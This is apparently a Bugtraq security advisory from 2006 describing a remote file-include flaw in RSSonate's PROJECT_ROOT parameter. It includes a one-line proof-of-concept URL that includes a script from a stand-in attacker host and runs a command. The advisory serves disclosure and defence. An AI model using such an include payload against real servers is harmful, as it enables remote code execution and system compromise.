RSSonate Project_Root Parameter Remote File Include Vulnerability

Bugtraq ID:	20849
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 01 2006 12:00AM
Updated:	Nov 02 2006 04:42PM
Credit:	Arab4services Security Team is credited with the discovery of this vulnerability.
Vulnerable:	GOCC RSSonate 0
Not Vulnerable:

RSSonate Project_Root Parameter Remote File Include Vulnerability

RSSonate is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

RSSonate Project_Root Parameter Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/getFeed/inc/session.php?PROJECT_ROOT=http://www.attacker.com/c-h.v2.txt?ls

RSSonate Project_Root Parameter Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

RSSonate Project_Root Parameter Remote File Include Vulnerability

References:

• RSSonate Remote File Include Exploit (Arab4services Security team)
  
• RSSonate Homepage (GOCC)